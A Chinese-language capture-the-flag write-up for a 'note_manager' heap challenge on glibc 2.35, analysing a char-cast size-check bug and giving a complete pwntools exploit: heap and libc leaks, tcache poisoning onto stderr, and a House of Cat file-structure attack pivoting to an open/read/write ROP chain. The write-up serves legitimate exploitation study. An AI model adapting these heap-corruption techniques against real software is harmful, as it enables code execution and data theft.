1 程序分析 64 位保护全开,libc 版本是 2.35-0ubuntu3.11
1 2 3 4 5 6 7 8 9 10 (pwn) secreu@Vanilla:~/code/2025HWB/note_manager$ checksec --file=note_manager [*] '/home/secreu/code/2025HWB/note_manager/note_manager' Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled RUNPATH: b'/home/secreu/glibc-all-in-one/libs/2.35-0ubuntu3.11_amd64/' (pwn) secreu@Vanilla:~/code/2025HWB/note_manager$ strings libc.so.6 | grep 'Ubuntu GLIBC' GNU C Library (Ubuntu GLIBC 2.35-0ubuntu3.11) stable release version 2.35.
开了沙箱,把 execve 和 execveat 禁用了,所以这道题是要用 ROP 做一个 ORW
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 unsigned __int64 sub_3100 () { int v0; int v1; int i; int v4; _QWORD v5[3 ]; v5[2 ] = __readfsqword(0x28u ); v5[0 ] = &byte_8; v5[1 ] = &unk_6010; v4 = prctl(38 , 1LL , 0LL , 0LL , 0LL ); for ( i = 1533078119 ; ; i = v0 ) { while ( i < 114678826 ) { if ( i < -310972886 ) { perror("prctl(PR_SET_SECCOMP)" ); exit (2 ); } v1 = 696073756 ; if ( prctl(22 , 2LL , v5) < 0 ) v1 = -1000706174 ; i = v1; } if ( i < 696073756 ) { perror("prctl(PR_SET_NO_NEW_PRIVS)" ); exit (2 ); } if ( i < 1533078119 ) break ; v0 = -310972886 ; if ( v4 < 0 ) v0 = 114678826 ; } return __readfsqword(0x28u ); }
1 2 3 4 5 6 7 8 9 10 11 12 (pwn) secreu@Vanilla:~/code/2025HWB/note_manager$ seccomp-tools dump ./note_manager Note Manager line CODE JT JF K ================================= 0000: 0x20 0x00 0x00 0x00000004 A = arch 0001: 0x15 0x00 0x05 0xc000003e if (A != ARCH_X86_64) goto 0007 0002: 0x20 0x00 0x00 0x00000000 A = sys_number 0003: 0x35 0x03 0x00 0x40000000 if (A >= 0x40000000) goto 0007 0004: 0x15 0x02 0x00 0x0000003b if (A == execve) goto 0007 0005: 0x15 0x01 0x00 0x00000142 if (A == execveat) goto 0007 0006: 0x06 0x00 0x00 0x7fff0000 return ALLOW 0007: 0x06 0x00 0x00 0x00000000 return KILL
主函数一坨一坨的,但是这种菜单题我们可以通过它 puts/printf 出来的信息去定位关键代码,结合运行程序来分析程序到底做了什么
1 2 3 4 5 6 7 8 9 10 11 12 13 14 (pwn) secreu@Vanilla:~/code/2025HWB/note_manager$ ./note_manager Note Manager $> as Invalid choice. Please try help for usage. $> help Usage: add - Add a new note edit - Edit an existing note show - Show a note del - Delete a note help - usage for noteexit - Exit program$>
1.1 add 读一个无符号整型的 size,并且限制了不能为 0
1 2 3 4 5 6 7 if ( i >= 656840380 ) break ; printf ("Enter size of note: " );v1 = __isoc99_scanf("%zu" , size); v2 = -920297666 ; if ( v1 != 1 ) v2 = -1606009516 ;
根据 size 分配 chunk
1 2 3 4 5 6 7 8 9 else if ( i < 1405956153 ){ getchar(); v7 = malloc (size[0 ]); v4 = -301788886 ; if ( v7 ) v4 = -666603898 ; i = v4; }
将拿到的 chunk 地址存入 ptr 加上一定偏移,也存储了 size,计数器自加
1 2 3 4 5 6 7 8 else if ( i < -301788886 ){ *((_QWORD *)ptr + v8 + 1 ) = v7; *(_QWORD *)(*((_QWORD *)ptr + 13 ) + 8LL * v8) = size[0 ]; ++*(_DWORD *)ptr; i = 656840380 ; printf ("Note added successfully at index %d\n" , v8); }
显然 ptr 含义为 note array,v8 是它遍历得到的第一个空位,ptr[0] 统计分配了的 chunk 数量,ptr[13] 指向 size array,note 数量上限就是 12
1.2 edit 输入 0 ~ 11 的 index
1 2 printf ("Enter index of note to edit: " );v10 = __isoc99_scanf("%d" , &v12);
输入整型 newsize,这里的 v9 是原来保存的的 size
1 2 3 4 v9 = *(_QWORD *)(*((_QWORD *)ptr + 13 ) + 8LL * v12); printf ("Enter newsize: " );__isoc99_scanf("%d" , &v11); getchar();
将 newsize 与 size 进行比较,如果 newsize > size,就会报 “Invalid size”
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 else if ( i >= -662856209 ){ v6 = 997093667 ; if ( (char )v11 > v9 ) v6 = -441217925 ; i = v6; } ...... else if ( i < -441217925 ){ v3 = -1790419586 ; if ( !*((_QWORD *)ptr + v12 + 1 ) ) v3 = -1219104719 ; i = v3; } else { printf ("Invalid size \n" ); i = -1426196032 ; }
将 newsize 存储早 size array 中,然后读取用户输入写入对应的 note/chunk 中,最多写入 newsize 字节
1 2 3 4 5 *(_QWORD *)(*((_QWORD *)ptr + 13 ) + 8LL * v12) = v11; printf ("Enter new content for note: " );read(0 , *((void **)ptr + v12 + 1 ), *(_QWORD *)(*((_QWORD *)ptr + 13 ) + 8LL * v12)); i = -1426196032 ; printf ("Note at index %d updated successfully\n" , v12);
1.3 show 输入 0 ~ 11 的 index
1 2 printf ("Enter index of note to show: " );v7 = __isoc99_scanf("%d" , &v8);
若 note array 中存在对应位置的 chunk 指针,就 printf("%s") 输出其中的内容
1 2 3 4 printf ("Note at index %d:\n" , v8);printf ("Size: %zu bytes\n" , *(_QWORD *)(*((_QWORD *)ptr + 13 ) + 8LL * v8));printf ("Content: %s\n" , *((const char **)ptr + v8 + 1 ));v6 = 71551844 ;
1.4 del 输入 0 ~ 11 的 index
1 2 printf ("Enter index of note to delete: " );v7 = __isoc99_scanf("%d" , &v8);
若 note array 中存在对应位置的 chunk 指针,执行 free 操作,chunk 指针清空,size 清空,计数减一
1 2 3 4 5 6 free (*((void **)ptr + v8 + 1 ));*((_QWORD *)ptr + v8 + 1 ) = 0LL ; *(_QWORD *)(*((_QWORD *)ptr + 13 ) + 8LL * v8) = 0LL ; --*(_DWORD *)ptr; printf ("Note at index %d deleted successfully\n" , v8);i = -1762444748 ;
1.5 漏洞点 问题出在 edit 中,newsize 和 size 的比较将 int 类型的 newsize 强制转换成 char 类型:(char)v11 > v9
这会导致只有最低字节参与比较,只需要将最低字节置为 0 即可绕过,例如 (char)0x1000 < (unsigned int)0x10,从而实现堆溢出,对低地址的 chunk 进行 edit 能够覆盖后续高地址的 chunk
2 漏洞利用 因为 edit 功能中的 read 后刚好跟着一个 printf,我们就可以直接打 _IO_2_1_stdout_,将 ROP 链布置在 _IO_2_1_stderr_ 上,由 printf 触发
总体来说要干 3 件事:
泄露 heap 地址和 libc 地址
打 tcache 实现任意地址分配,我们要分配到 stderr 上
House of Cat 走 setcontext 实现 ORW
2.1 泄露 Heap/Libc 基址 由于 tcache safe-linking 机制,我们不能直接将 next 指针修改为想要申请的地址,首先要将 heap base 泄露出来
申请 chunk_0,将其 free 再重新申请出来 show 即可
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 add(0x10 ) delete(0 ) add(0x10 ) show(0 ) io.recvuntil(b'Content: ' ) heap_leak = u64(io.recv(5 ).strip().ljust(8 , b'\x00' )) heap_base = heap_leak << 12 log.success(f'heap_base: {hex (heap_base)} ' ) ''' [DEBUG] Received 0x2f bytes: 00000000 4e 6f 74 65 20 61 74 20 69 6e 64 65 78 20 30 3a │Note│ at │inde│x 0:│ 00000010 0a 53 69 7a 65 3a 20 31 36 20 62 79 74 65 73 0a │·Siz│e: 1│6 by│tes·│ 00000020 43 6f 6e 74 65 6e 74 3a 20 63 4c 37 8a 05 0a │Cont│ent:│ cL7│···│ 0000002f [+] heap_base: 0x58a374c63000 '''
然后是泄露 libc,方法是伪造 size 位大于 0x410 的 chunk,将其 free 会进入 unsorted bin,从而 fd/bk 都指向 main_arena + 0x60,注意需要绕过 free 的部分检查,需要做下面额外的操作:
nextchunk 的 PREV_IN_USE 位为 1
nextnextchunk 的 PREV_IN_USE 位为 1
确保 topchunk 没有损坏
我们通过 edit 之前申请的 chunk_0 对新申请的 chunk_1 修改 size 位为 0x421,伪造连续的 3 个 chunk。free 后再同样利用 edit chunk_0 覆盖 0 字节,show chunk_0 泄露 libc
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 add(0x10 ) add(0x390 ) add(0x390 ) fake_chunk_list = p64(0 ) + p64(0x421 ) + p64(0 ) * 0x82 fake_chunk_list += p64(0 ) + p64(0x21 ) + p64(0 ) * 2 fake_chunk_list += p64(0 ) + p64(0x21 ) edit(0 , 0x1000 , p64(0 ) * 2 + fake_chunk_list) delete(1 ) edit(0 , 0x1000 , b'A' * 0x20 ) show(0 ) io.recvuntil(b'A' * 0x20 ) main_arena_96 = u64(io.recv(6 ).ljust(8 , b'\x00' )) libc_base = main_arena_96 - 0x21AC80 - 0x60 log.success(f'libc_base: {hex (libc_base)} ' ) edit(0 , 0x1000 , b'A' * 0x10 + p64(0 ) + p64(0x421 )) ''' [DEBUG] Sent 0x2 bytes: b'0\n' [DEBUG] Received 0x52 bytes: 00000000 4e 6f 74 65 20 61 74 20 69 6e 64 65 78 20 30 3a │Note│ at │inde│x 0:│ 00000010 0a 53 69 7a 65 3a 20 34 30 39 36 20 62 79 74 65 │·Siz│e: 4│096 │byte│ 00000020 73 0a 43 6f 6e 74 65 6e 74 3a 20 41 41 41 41 41 │s·Co│nten│t: A│AAAA│ 00000030 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 │AAAA│AAAA│AAAA│AAAA│ 00000040 41 41 41 41 41 41 41 41 41 41 41 e0 ac c1 1f 46 │AAAA│AAAA│AAA·│···F│ 00000050 78 0a │x·│ 00000052 [+] libc_base: 0x78461fa00000 '''
2.2 任意地址分配到 stderr 前面已经拿到 heap 基址,根据 safe-linking 的机制:free(chunk_addr) 会将 next 指针置为 (chunk_addr >> 12) ^ tcache_entry[idx],当 tcache bin 中还没有 chunk 时,tcache_entry[idx] 为 0,所以第一个 free 进去的 chunk 的 next 指针为 chunk_addr >> 12 = heap_base >> 12
我们要想任意地址分配,需要至少先 free 2 个 heap 上的 chunk,然后将最近 free 的 next 指针修改为 (heap_base >> 12) ^ target_addr,这样 malloc 后 tcache_entry[idx] = target_addr,就可以再 malloc 拿到目标地址
下面的代码利用 edit chunk_4 修改 chunk_5 的 next 指针
1 2 3 4 5 6 7 8 9 10 11 12 13 14 add(0x10 ) add(0x10 ) add(0x200 ) add(0x200 ) delete(6 ) delete(5 ) _IO_2_1_stderr_ = libc_base + libc.symbols['_IO_2_1_stderr_' ] _IO_2_1_stdout_ = libc_base + libc.symbols['_IO_2_1_stdout_' ] fake_next = (heap_base >> 12 ) ^ _IO_2_1_stderr_ edit(4 , 0x1000 , p64(0 ) * 3 + p64(0x211 ) + p64(fake_next)) add(0x200 ) add(0x200 )
edit 后 tcache 被污染
成功拿到 stderr,0x200 的大小足够覆盖 stderr 和 stdout,接下来直接 edit chunk_6 就可以写 stderr
2.3 House of Cat 先准备好 ROP,做 ORW,准备将其写入 _IO_2_1_stderr_ + 8 的位置
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 pop_rdi = libc_base + 0x2a3e5 pop_rsi = libc_base + 0x2be51 pop_rdx = libc_base + 0xa85a9 open_addr = libc_base + 0x119A40 read_addr = libc_base + 0x114840 write_addr = libc_base + 0x1148E0 file_path = b'./flag' rop_addr = _IO_2_1_stderr_ + 8 file_path_addr = rop_addr + 0x98 rop_chain = p64(pop_rdi) + p64(file_path_addr) + p64(pop_rsi) + p64(0 ) + p64(open_addr) rop_chain += p64(pop_rdi) + p64(3 ) + p64(pop_rsi) + p64(file_path_addr) + p64(pop_rdx) + p64(0x100 ) + p64(0 ) * 2 + p64(read_addr) rop_chain += p64(pop_rdi) + p64(1 ) + p64(pop_rsi) + p64(file_path_addr) + p64(write_addr) rop_chain += file_path rop_chain = rop_chain.ljust(0xd8 , b'\x00' )
House of Cat 通过修改虚表指针偏移,使得对 IO 相关函数的调用实际调用为 _IO_wfile_jumps 中的 _IO_wfile_seekoff,然后进入到 _IO_switch_to_wget_mode 函数中,进入条件是 rcx 不为 0,printf 可以满足。
还对参数 fp 有所限制,要求 fp[20][3] < fp[20][4]。只要将 fp 写入 fp + 0xA0,然后在 fp + 0x18 和 fp + 0x20 做对应的设置即可
进入 _IO_switch_to_wget_mode 又检查一次 fp[20][3] < fp[20][4],然后我们在 fp + 0xE0 填入 fp,在 fp + 0x18 填入 setcontext + 61,就可以调用到 setcontext + 61,在 fp + 0x20 填入 fp,就既可以满足大小要求,也可以使得 rdx = fp,在 fp 上继续伪造 Signal Frame 即可
最后进入 setcontext + 61,需要设置 rsp 和 rip,fp + 0xA0 已经填入了 fp,在 fp + 0xA8 填入 pop rsp ; pop rbp ; ret 地址,做一次栈迁移,故 fp + 0 上写入 ROP 地址减 8,也就是 _IO_2_1_stderr_,这样经过 2 次 pop 后,rsp 指向了 _IO_2_1_stderr_ + 8,即 ROP 存放的位置
最后还要给 _lock 设置一个有效的地址,这里将其指向 _markers
构造图如下:
伪造的 _IO_FILE_plus 如下代码,将其跟在 ROP 后,写入 _IO_2_1_stdout_。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 set_context_61 = libc_base + 0x539E0 + 61 _IO_wfile_jumps = libc_base + 0x2170c0 pop_rsp_rbp = libc_base + 0x133ba0 io_file_addr = _IO_2_1_stdout_ io_file = b'' io_file += p64(rop_addr - 8 ) + p64(0 ) io_file += p64(0 ) + p64(set_context_61) io_file += p64(io_file_addr) + p64(io_file_addr + 8 ) io_file = io_file.ljust(0x88 , b'\x00' ) io_file += p64(io_file_addr + 0x60 ) io_file = io_file.ljust(0xa0 , b'\x00' ) io_file += p64(io_file_addr) io_file += p64(pop_rsp_rbp) io_file = io_file.ljust(0xd8 , b'\x00' ) io_file += p64(_IO_wfile_jumps + 0x10 ) io_file += p64(io_file_addr) edit(6 , 0x200 , p64(0xfbad2222 ) + rop_chain + io_file) io.interactive() ''' [DEBUG] Received 0x100 bytes: 00000000 66 6c 61 67 7b 48 6f 70 65 5f 79 6f 75 5f 72 65 │flag│{Hop│e_yo│u_re│ 00000010 6d 65 6d 62 65 72 5f 6d 65 7d 00 00 00 00 00 00 │memb│er_m│e}··│····│ 00000020 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 │····│····│····│····│ 00000030 00 00 00 00 00 00 00 00 a0 3b f3 17 a5 75 00 00 │····│····│·;··│·u··│ 00000040 a0 b6 01 18 a5 75 00 00 00 00 00 00 00 00 00 00 │····│·u··│····│····│ 00000050 00 00 00 00 00 00 00 00 1d 3a e5 17 a5 75 00 00 │····│····│·:··│·u··│ 00000060 80 b7 01 18 a5 75 00 00 88 b7 01 18 a5 75 00 00 │····│·u··│····│·u··│ 00000070 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 │····│····│····│····│ * 000000c0 00 00 00 00 00 00 00 00 e0 b7 01 18 a5 75 00 00 │····│····│····│·u··│ 000000d0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 │····│····│····│····│ 000000e0 80 b7 01 18 a5 75 00 00 a0 3b f3 17 a5 75 00 00 │····│·u··│·;··│·u··│ 000000f0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 │····│····│····│····│ 00000100 flag{Hope_you_remember_me}\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xa0;\xf3\x17\xa5u\x00\x00\xa0\xb6\x01\x18\xa5u\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x1d:\xe5\x17\xa5u\x00\x00\x80\xb7\x01\x18\xa5u\x00\x00\x88\xb7\x01\x18\xa5u\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xe0\xb7\x01\x18\xa5u\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x80\xb7\x01\x18\xa5u\x00\x00\xa0;\xf3\x17\xa5u\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00$ [*] Got EOF while reading in interactive '''
当执行 printf 时,会通过 _IO_2_1_stdout_ 调用 _IO_xsputn_t,对应 _IO_file_jumps + 0x38,而我们通过修改 stdout->vatble 指向 _IO_wfile_jumps + 0x10,使得实际调用的函数为 _IO_wfile_seekoff
整个调用链为 printf -> _IO_wfile_seekoff -> _IO_switch_to_wget_mode -> setcontext + 61 -> pop rsp ; pop rbp ;ret -> ROP
3 利用脚本 完整 EXP 如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 from pwn import *elf = ELF('./note_manager' ) libc = ELF('./libc.so.6' ) context(os=elf.os, arch=elf.arch, log_level='debug' ) def add (size ): io.sendlineafter(b'$> ' , b'add' ) io.sendlineafter(b'Enter size of note: ' , str (size).encode()) def edit (index, newsize, content ): io.sendlineafter(b'$> ' , b'edit' ) io.sendlineafter(b'Enter index of note to edit: ' , str (index).encode()) io.sendlineafter(b'Enter newsize: ' , str (newsize).encode()) io.sendafter(b'Enter new content for note: ' , content) def show (index ): io.sendlineafter(b'$> ' , b'show' ) io.sendlineafter(b'Enter index of note to show: ' , str (index).encode()) def delete (index ): io.sendlineafter(b'$> ' , b'del' ) io.sendlineafter(b'Enter index of note to delete: ' , str (index).encode()) def exploit (): add(0x10 ) delete(0 ) add(0x10 ) show(0 ) io.recvuntil(b'Content: ' ) heap_leak = u64(io.recv(5 ).strip().ljust(8 , b'\x00' )) heap_base = heap_leak << 12 log.success(f'heap_base: {hex (heap_base)} ' ) add(0x10 ) add(0x390 ) add(0x390 ) fake_chunk_list = p64(0 ) + p64(0x421 ) + p64(0 ) * 0x82 fake_chunk_list += p64(0 ) + p64(0x21 ) + p64(0 ) * 2 fake_chunk_list += p64(0 ) + p64(0x21 ) edit(0 , 0x1000 , p64(0 ) * 2 + fake_chunk_list) delete(1 ) edit(0 , 0x1000 , b'A' * 0x20 ) show(0 ) io.recvuntil(b'A' * 0x20 ) main_arena_96 = u64(io.recv(6 ).ljust(8 , b'\x00' )) libc_base = main_arena_96 - 0x21AC80 - 0x60 log.success(f'libc_base: {hex (libc_base)} ' ) edit(0 , 0x1000 , b'A' * 0x10 + p64(0 ) + p64(0x421 )) add(0x10 ) add(0x10 ) add(0x200 ) add(0x200 ) delete(6 ) delete(5 ) _IO_2_1_stderr_ = libc_base + libc.symbols['_IO_2_1_stderr_' ] _IO_2_1_stdout_ = libc_base + libc.symbols['_IO_2_1_stdout_' ] fake_next = (heap_base >> 12 ) ^ _IO_2_1_stderr_ edit(4 , 0x1000 , p64(0 ) * 3 + p64(0x211 ) + p64(fake_next)) add(0x200 ) add(0x200 ) pop_rdi = libc_base + 0x2a3e5 pop_rsi = libc_base + 0x2be51 pop_rdx = libc_base + 0xa85a9 open_addr = libc_base + 0x119A40 read_addr = libc_base + 0x114840 write_addr = libc_base + 0x1148E0 file_path = b'./flag' rop_addr = _IO_2_1_stderr_ + 8 file_path_addr = rop_addr + 0x98 rop_chain = p64(pop_rdi) + p64(file_path_addr) + p64(pop_rsi) + p64(0 ) + p64(open_addr) rop_chain += p64(pop_rdi) + p64(3 ) + p64(pop_rsi) + p64(file_path_addr) + p64(pop_rdx) + p64(0x100 ) + p64(0 ) * 2 + p64(read_addr) rop_chain += p64(pop_rdi) + p64(1 ) + p64(pop_rsi) + p64(file_path_addr) + p64(write_addr) rop_chain += file_path rop_chain = rop_chain.ljust(0xd8 , b'\x00' ) set_context_61 = libc_base + 0x539E0 + 61 _IO_wfile_jumps = libc_base + 0x2170c0 pop_rsp_rbp = libc_base + 0x133ba0 io_file_addr = _IO_2_1_stdout_ io_file = b'' io_file += p64(rop_addr - 8 ) + p64(0 ) io_file += p64(0 ) + p64(set_context_61) io_file += p64(io_file_addr) + p64(io_file_addr + 8 ) io_file = io_file.ljust(0x88 , b'\x00' ) io_file += p64(io_file_addr + 0x60 ) io_file = io_file.ljust(0xa0 , b'\x00' ) io_file += p64(io_file_addr) io_file += p64(pop_rsp_rbp) io_file = io_file.ljust(0xd8 , b'\x00' ) io_file += p64(_IO_wfile_jumps + 0x10 ) io_file += p64(io_file_addr) edit(6 , 0x200 , p64(0xfbad2222 ) + rop_chain + io_file) io.interactive() if __name__ == "__main__" : io = process(elf.path) exploit()